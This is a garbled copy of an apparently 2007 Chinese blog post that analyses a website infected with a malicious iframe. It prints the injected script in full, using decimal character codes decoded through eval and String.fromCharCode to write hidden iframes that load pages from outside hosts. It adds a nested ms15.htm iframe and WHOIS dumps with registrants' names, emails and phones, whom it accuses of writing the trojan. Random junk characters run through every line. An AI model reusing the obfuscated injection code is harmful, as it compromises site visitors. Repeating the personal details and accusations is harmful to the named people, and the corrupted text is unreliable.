首发在我的博客里面，
lN~u=' Kc w^E$R http://www.areway.cn/?p=175 D* QZR;D#. p5`={' >- AQjf\i 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
wu~ ?P ` S1U>Q~ZPA <script>t=’60,105,102,114,97,109,101,
jg\FD5 1$ 32,115,114,99,61,104,116,116,112,58,47,47,
ZW%;"5uVm) 102,114,101,101,46,117,45,117,117,117,46,99,
|"aop| 110,47,101,114,114,111,114,46,104,116,109,
Ef\& 3TcQ 32,119,105,100,116,104,61,49,48,48,32,104,
L]w k Ba 101,105,103,104,116,61,48,62,60,47,105,102,
&F~97F)A) 114,97,109,101,62′;
K;lxPM] t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
f ^|r*@o j]' ybpMT" <script>t=’60,105,102,114,97,109,101,32,115,
l ]~mB~ 114,99,61,104,116,116,112,58,47,47,102,114,
71G\b|5 101,101,46,117,45,117,117,117,46,99,110,47,
^*'fDP* 101,114,114,111,114,46,104,116,109,32,119,
0JU+v:J[= 105,100,116,104,61,49,48,48,32,104,101,105,
$ #bW h 103,104,116,61,48,62,60,47,105,102,114,97,
iq<nuO 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
H8V@KB document.write(t);</script>
`=P= i>, BPd * @l <html xmlns=”
&\e8c
g http://www.w3.org/1999/xhtml J;GYo|8 “>
]o ($ No <head>
Dio)orc <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
G'{ *guYU <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
x:iLBYf <title>首页 - 爱生活家庭网
1 Sz v4 & f-x+y 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
vVf%wei^# 转换字符串后的大概内容是（谁点击后果自付）：
TpRI +*\ <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
MQMc=Z4d ,A[NcFdCB 查询玉米u-uuu.cn的详细信息：
W.nr&yiQ Domain Name: u-uuu.cn
l#& \,T ROID: 20070901s10001s64972306-cn
|-`-zo4z Domain Status: ok
E_-g <Cw Registrant Organization: 王雷
z<OfSS_]R Registrant Name: 王雷
GQ6~Si2 Administrative Email:
czlovexs@126.com #'8'5b Sponsoring Registrar: 北京万网志成科技有限公司
,m[#<}xXA Name Server:ns.yovole.com
j7yUya& Name Server:ns1.yovole.com
Y3g<%6 Registration Date: 2007-09-01 17:54
TEQs 9-Uy Expiration Date: 2008-09-01 17:54
?fX`z(Z 最后PING了一下地址 都没有什么….
qnJs,"sn ,qwVDYJ 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
kE854Ej <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
6vf <lmN <script language=”javascript” src=”
P~h 0Ul http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script mbXW$E-&R2 >
[ z,6 K= 这个玉米应该有可能是木马作者的：
.TO#\!KBv foafau.info的详细信息：
-cgMf\YF Access to INFO WHOIS information is provided to assist persons in
< Y)A ez determining the contents of a domain name registration record in the
l0lvca=; Afilias registry database. The data in this record is provided by
/)<Xoa Afilias Limited for informational purposes only, and Afilias does not
~(}n d guarantee its accuracy. This service is intended only for query-based
G]T&{3g-. access. You agree that you will use this data only for lawful purposes
l *b0uF and that, under no circumstances will you use this data to: (a) allow,
@me ( pnD enable, or otherwise support the transmission by e-mail, telephone, or
B8>3GZi facsimile of mass unsolicited, commercial advertising or solicitations
jE!?;} P1 to entities other than the data recipient’s own existing customers; or
{w m P (b) enable high volume, automated, electronic processes that send
4^7* R queries or data to the systems of Registry Operator, a Registrar, or
9a]J Q Afilias except as reasonably necessary to register domain names or
h@ @ q:I= modify existing registrations. All rights reserved. Afilias reserves
AZv a the right to modify these terms at any time. By submitting this query,
[/U5M>#n you agree to abide by this policy.
(p(-E Domain ID:D22418703-LRMS
FL[w\&fp Domain Name:FOAFAU.INFO
Z b:S
IJ Created On:20-Nov-2007 16:05:42 UTC
]%Lk#BA@A Last Updated On:20-Nov-2007 16:05:44 UTC
KqvM5 $3 Expiration Date:20-Nov-2008 16:05:42 UTC
"ZP)[ [Rd
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
k iu#T HF Status:CLIENT DELETE PROHIBITED
^zKP5nzL Status:CLIENT RENEW PROHIBITED
XGAR8= tic Status:CLIENT TRANSFER PROHIBITED
uQ3W = Status:CLIENT UPDATE PROHIBITED
Ygc.0VKMR Status:TRANSFER PROHIBITED
(r/))I9^ Registrant ID:GODA-040110615
x, Z:12H0 Registrant Name:liu hong
zO( ( FQ Registrant Organization:
ZJV;&[$[ Registrant Street1:beijing
+\RviF[+ Registrant Street2:
ql7N\COoq Registrant Street3:
t;W'<.m_ Registrant City:beijing
Cf.(/5X Registrant State/Province:
3u oIY Y Registrant Postal Code:100000
YLp#z8 1e Registrant Country:CN
I @ D<rjR Registrant Phone:+86.860108888777
3XhLn/@ Registrant Phone Ext.:
V3$zlzSm, Registrant FAX:
~Gh9m ]b Registrant FAX Ext.:
,e{1l Registrant Email:bbbshiji@163.com
WD|pG;Gq Admin ID:GODA-240110615
*~^M_we j Admin Name:liu hong
wp<f{^ et Admin Organization:
y<m }dW6[\ Admin Street1:beijing
/J!~0~F Admin Street2:
{4r } jH Admin Street3:
OQ+kOE& Admin City:beijing
lh- zE5 ; Admin State/Province:
nQ;M@k&9eV Admin Postal Code:100000
G& @_,y| Admin Country:CN
R:U!HE8j Admin Phone:+86.860108888777
U /jCM?~ Admin Phone Ext.:
JnS@} m Admin FAX:
]U ul~T Admin FAX Ext.:
(S8hr,%n Admin Email:bbbshiji@163.com
mV|Z5 = f Billing ID:GODA-340110615
~Hvf"bvK| Billing Name:liu hong
K QCF " Billing Organization:
&X)^G# Billing Street1:beijing
+K48c,gt? Billing Street2:
BP=<TRp . Billing Street3:
.2SD)<}(9 Billing City:beijing
aPHNX) Billing State/Province:
sM@1Qyv&0 Billing Postal Code:100000
c. uD% Billing Country:CN
x d!GRJ<I Billing Phone:+86.860108888777
7o9[cq w Billing Phone Ext.:
m 3Do+!M[ Billing FAX:
ese?; 1 r Billing FAX Ext.:
1WAps#b. Billing Email:bbbshiji@163.com
|fPR7- Tech ID:GODA-140110615
)OZ Tech Name:liu hong
k# x"'yZ Tech Organization:
O7y IFqI=/ Tech Street1:beijing
in2m/q? Tech Street2:
D YTC2 Tech Street3:
bl[2VM7P Tech City:beijing
^F87gow%`B Tech State/Province:
G`z=qa j Tech Postal Code:100000
' [%?j?2r Tech Country:CN
r[3 2'E Tech Phone:+86.860108888777
Iy@6cd,)S Tech Phone Ext.:
) @6iQ Tech FAX:
w5q'M Tech FAX Ext.:
PDpDkcy|QM Tech Email:bbbshiji@163.com
_.5AB E Name Server:NS27.DOMAINCONTROL.COM
dQI6.$? Name Server:NS28.DOMAINCONTROL.COM
moE!~IroG Name Server:
gCaxZ~o Name Server:
nQd~i0`vB Name Server:
gqDSHFm: Name Server:
ZQ[ s/ Name Server:
/H*n(d Name Server:
M+WN \.2pX Name Server:
c> ":g~w Name Server:
%
{A %SDh Name Server:
yAu .=Eo7 Name Server:
+z+u=)I Name Server:
F<(?N!C?@ 34t[]v|LD 接着下载每个文件里面的代码：
h 2C9p2. 一步一步看..
>Slu?{l' 
YT<(2u#Ng 
#./8i nbG 
}M &hcw< 
h/7_I uD 
a4eE/1 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
